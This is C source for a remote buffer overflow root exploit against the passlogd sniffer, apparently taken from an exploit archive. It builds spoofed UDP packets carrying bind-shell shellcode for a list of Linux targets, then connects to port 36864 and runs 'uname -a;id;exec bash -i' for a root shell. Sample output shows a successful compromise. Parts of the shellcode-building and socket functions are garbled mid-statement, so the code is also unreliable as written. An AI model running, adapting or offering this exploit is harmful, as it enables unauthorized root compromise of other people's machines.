| 
                        
                          | Passlogd sniffer remote buffer overflow root exploit |  /*  0x82-Remote.passlogd_sniff.xpl.c**
 ** exemple :
 **
 ** bash-2.04# ./0x82-Remote.passlogd_sniff.xpl -h61.37.xxx.xx -t2
 **
 ** passlogd sniffer remote buffer overflow root exploit by Xpl017Elz.
 **
 **  [0] Set packet code size.
 **  [1] Set protocol header.
 **  [2] Make shellcode.
 **  [3] Set rawsock.
 **  [4] Send packet.
 **  [5] Trying 61.37.xxx.xx:36864.
 **  [*] Connected to 61.37.xxx.xx:36864.
 **  [*] Executed shell successfully !
 **
 ** Linux blah 2.4.20 #1 SMP Fri Mar 21 20:36:58 EST 2003 i686 unknown
 ** uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),
 ** 4(adm),6(disk),10(wheel)
 ** [root@blah /passlogd-0.1d]#
 **
 */
 
 
 #include
 #include
 #include
 #include
 #include
 #include
 #include
 #include
 #include
 
 struct os {
 int num;
 char *ost;
 u_long shell;
 int l_sz;
 };
 
 #define Xpl017Elz x82
 #define D_M (0)
 struct os plat[]=
 {
 {
 0,"ALZZA Linux release 6.1 (Linux One)",
 /* It's Korean Linux */
 0xbfffaf82,545
 },
 {
 1,"WOW Linux release 6.2 (Puberty)",
 /* It's Korean Linux */
 0xbfffaf82,545
 },
 {
 2,"RedHat Linux release 7.0 (Guinness)",
 /* It's my redhat that exist uniquely. */
 0xbfffae82,581
 },
 {
 3,"WOWLiNUX Release 7.1 (Paran)",
 /* It's Korean Linux */
 0xbfffae82,593
 },
 {
 4,"RedHat Linux release 8.0 (Psyche)",
 /* It's not to me now. (C0mming s00n) */
 0x82828282,0 // shit.
 },
 {
 5,NULL,0,0
 }
 };
 
 void banrl();
 int setsock(char *host,int port);
 void re_connt(int sock);
 void send_recv_sh(int sock);
 void usage(char *p_name);
 int make_sh(u_long shcode,int l_sz);
 int main(int argc,char **argv)
 {
 int sock,whgl,type=D_M;
 struct hostent *he;
 struct sockaddr_in hehe;
 struct iphdr *__ip_hdr_st;
 struct udphdr *__udp_hdr_st;
 #ifdef _TEST
 #define FK_IP "82.82.82.82" /* fake src ip */
 #else
 #define FK_IP "216.239.33.101" /* G00Gl3 */
 #endif
 char spoof_ip[0x82]=FK_IP;
 #define D_PORT (36864)
 int port=D_PORT;
 #define _DMN_NAME
 #ifdef _DMN_NAME
 #define LC_TEST "localhost" /* default test host */
 #else
 #define LC_TEST "127.0.0.1" /* localhost */
 #endif
 char host[0x82]=LC_TEST;
 #ifdef T_ADDR_
 #define SHELL 0x82828282 /* test */
 #endif
 u_long shell=plat[type].shell;
 int l_sz=plat[type].l_sz;
 int atk_pk_size,make_sh_size;
 char *__tot_atk_pk,*atk_mbuf;
 
 (void)banrl();
 if(argc<2)
 {
 (void)usage(argv[D_M]);
 }
 
 while((whgl=getopt(argc,argv,"L:l:H:h:F:f:T:t:IiS:s:"))!=-1)
 {
 extern char *optarg;
 switch(whgl)
 {
 case 'H':
 case 'h':
 memset((char *)host,D_M,sizeof(host));
 strncpy(host,optarg,sizeof(host)-1);
 break;
 
 case 'F':
 case 'f':
 memset((char *)spoof_ip,D_M,sizeof(spoof_ip));
 strncpy(spoof_ip,optarg,sizeof(spoof_ip)-1);
 break;
 
 case 'L':
 case 'l':
 l_sz=atoi(optarg);
 break;
 
 case 'T':
 case 't':
 type=atoi(optarg);
 if(type>4)
 (void)usage(argv[D_M]);
 else
 {
 shell=plat[type].shell;
 l_sz=plat[type].l_sz;
 }
 break;
 
 case 'S':
 case 's':
 shell=strtoul(optarg,NULL,NULL);
 break;
 
 case 'I':
 case 'i':
 (void)usage(argv[D_M]);
 break;
 
 case '?':
 fprintf(stderr," Try `%s -i' for more information.\n\n",argv[D_M]);
 exit(-1);
 break;
 }
 }
 {
 fprintf(stdout," [0] Set packet code size.\n");
 make_sh_size=strlen((char *)make_sh(shell,l_sz));
 atk_pk_size=(sizeof(struct iphdr)+
 sizeof(struct udphdr)+make_sh_size);
 __tot_atk_pk=(char *)malloc(atk_pk_size);
 memset((char *)__tot_atk_pk,D_M,atk_pk_size);
 atk_mbuf=(sizeof(struct iphdr)+
 sizeof(struct udphdr)+
 (char *)__tot_atk_pk);
 fprintf(stdout," [1] Set protocol header.\n");
 __ip_hdr_st=(struct iphdr *)__tot_atk_pk;
 __udp_hdr_st=(struct udphdr *)(sizeof(struct iphdr)+__tot_atk_pk);
 fprintf(stdout," [2] Make shellcode.\n");
 strncpy(atk_mbuf,(char *)make_sh(shell,l_sz),make_sh_size);
 }
 
 if((he=gethostbyname(host))==NULL)
 {
 herror(" gethostbyname()");
 exit(-1);
 }
 if((sock=socket(AF_INET,SOCK_RAW,IPPROTO_RAW))==-1)
 {
 perror(" socket()");
 exit(-1);
 }
 if(setsockopt(sock,IPPROTO_IP,IP_HDRINCL,"1",sizeof("1"))==-1)
 {
 perror(" setsockopt()");
 exit(-1);
 }
 
 fprintf(stdout," [3] Set rawsock.\n");
 
 __ip_hdr_st->version=4;
 __ip_hdr_st->ihl=sizeof(struct iphdr)/4;
 __ip_hdr_st->tot_len=htons(atk_pk_size);
 __ip_hdr_st->ttl=0xff;
 __ip_hdr_st->protocol=IPPROTO_UDP;
 __ip_hdr_st->saddr=inet_addr(spoof_ip);
 __ip_hdr_st->daddr=inet_ntoa(*((struct in_addr *)he->h_addr));
 
 __udp_hdr_st->source=htons(0x82);
 __udp_hdr_st->dest=htons(0x202);
 __udp_hdr_st->len=(atk_pk_size);
 
 hehe.sin_family=AF_INET;
 hehe.sin_port=__udp_hdr_st->dest;
 hehe.sin_addr=*((struct in_addr *)he->h_addr);
 memset(&(hehe.sin_zero),D_M,(8));
 
 fprintf(stdout," [4] Send packet.\n");
 
 if((sendto(sock,__tot_atk_pk,atk_pk_size,D_M,(struct sockaddr *)&hehe,sizeof(struct sockaddr)))==-1)
 {
 perror(" sendto()");
 exit(-1);
 }
 
 fprintf(stdout," [5] Trying %s:%d.\n",host,port);
 sleep(2);
 sock=(int)setsock(host,port);
 (void)re_connt(sock);
 
 fprintf(stdout," [*] Connected to %s:%d.\n",host,port);
 (void)send_recv_sh(sock);
 }
 
 int make_sh(u_long shcode,int l_sz)
 {
 int plus_sz_plus=D_M,pk_sz=D_M;
 char shell_code_bind_36864[]={
 /* bindshell port 36864 */
 0xeb,0x72,0x5e,0x29,0xc0,0x89,0x46,0x10,
 0x40,0x89,0xc3,0x89,0x46,0x0c,0x40,0x89,
 0x46,0x08,0x8d,0x4e,0x08,0xb0,0x66,0xcd,
 0x80,0x43,0xc6,0x46,0x10,0x10,0x66,0x89,
 0x5e,0x14,0x88,0x46,0x08,0x29,0xc0,0x89,
 0xc2,0x89,0x46,0x18,0xb0,0x90,0x66,0x89,
 0x46,0x16,0x8d,0x4e,0x14,0x89,0x4e,0x0c,
 0x8d,0x4e,0x08,0xb0,0x66,0xcd,0x80,0x89,
 0x5e,0x0c,0x43,0x43,0xb0,0x66,0xcd,0x80,
 0x89,0x56,0x0c,0x89,0x56,0x10,0xb0,0x66,
 0x43,0xcd,0x80,0x86,0xc3,0xb0,0x3f,0x29,
 0xc9,0xcd,0x80,0xb0,0x3f,0x41,0xcd,0x80,
 0xb0,0x3f,0x41,0xcd,0x80,0x88,0x56,0x07,
 0x89,0x76,0x0c,0x87,0xf3,0x8d,0x4b,0x0c,
 0xb0,0x0b,0xcd,0x80,0xe8,0x89,0xff,0xff,
 0xff,0x2f,0x62,0x69,0x6e,0x2f,0x73,0x68
 };
 char sh_data_align_4[0x400];
 #define NULL_NULL_PSH 0x00
 memset((char *)sh_data_align_4,NULL_NULL_PSH,sizeof(sh_data_align_4));
 #define NOP_NOP_PSH 0x90
 for(pk_sz=D_M;pk_sz>0)&0xff;
 sh_data_align_4[pk_sz++]=(shcode>>8)&0xff;
 sh_data_align_4[pk_sz++]=(shcode>>16)&0xff;
 sh_data_align_4[pk_sz++]=(shcode>>24)&0xff;
 sh_data_align_4[pk_sz++]=(0x3e);
 }
 for(plus_sz_plus=D_M;
 plus_sz_plush_addr);
 memset(&(x82.sin_zero),0,8);
 
 if(connect(sock,(struct sockaddr *)&x82,sizeof(struct sockaddr))==-1)
 {
 return(-1);
 }
 return(sock);
 }
 
 void re_connt(int sock)
 {
 if(sock==-1)
 {
 fprintf(stderr," [-] Connect Failed.\n\n");
 exit(-1);
 }
 }
 
 void send_recv_sh(int sock)
 {
 int pk;
 struct timeval tm;
 char *t_cmd="uname -a;id;exec bash -i\n";
 char rbuf[1024];
 fd_set rset;
 memset((char *)rbuf,D_M,sizeof(rbuf));
 fprintf(stdout," [*] Executed shell successfully !\n\n");
 send(sock,t_cmd,strlen(t_cmd),D_M);
 
 tm.tv_sec=10;
 tm.tv_usec=D_M;
 
 while(1)
 {
 fflush(stdout);
 FD_ZERO(&rset);
 FD_SET(sock,&rset);
 FD_SET(STDIN_FILENO,&rset);
 
 select(sock+1,&rset,NULL,NULL,&tm);
 
 if(FD_ISSET(sock,&rset))
 {
 pk=read(sock,rbuf,sizeof(rbuf)-1);
 if(pk<=D_M)
 {
 fprintf(stdout," [*] Happy-Exploit\n\n");
 exit(D_M);
 }
 rbuf[pk]=D_M;
 fprintf(stdout,"%s",rbuf);
 }
 if(FD_ISSET(STDIN_FILENO,&rset))
 {
 pk=read(STDIN_FILENO,rbuf,sizeof(rbuf)-1);
 if(pk>D_M)
 {
 rbuf[pk]=D_M;
 write(sock,rbuf,pk);
 }
 }
 }
 return;
 }
 
 void usage(char *p_name)
 {
 int r_s=D_M;
 fprintf(stdout," Usage: %s -option [argument]\n",p_name);
 fprintf(stdout,"\n\t-h - hostname.\n");
 fprintf(stdout,"\t-f - spoof src ip.\n");
 fprintf(stdout,"\t-s - &shellcode.\n");
 fprintf(stdout,"\t-l - buf len.\n");
 fprintf(stdout,"\t-t - target number.\n");
 fprintf(stdout,"\t-i - help information.\n\n");
 fprintf(stdout," Select target number:\n\n");
 
 for(;;)
 {
 if(plat[r_s].ost==NULL)
 break;
 else fprintf(stdout,"\t{%d} %s\n",plat[r_s].num,plat[r_s].ost);
 r_s++;
 }
 fprintf(stdout,"\n Example> %s -h localhost -f82.82.82.82 -t3",p_name);
 fprintf(stdout,"\n Example2> %s -h localhost -s0x82828282 -l582\n\n",p_name);
 exit(-1);
 }
 
 void banrl()
 {
 fprintf(stdout,"\n passlogd sniffer remote buffer overflow root exploit\n");
 fprintf(stdout,"                                        by Xpl017Elz.\n\n");
 }
 |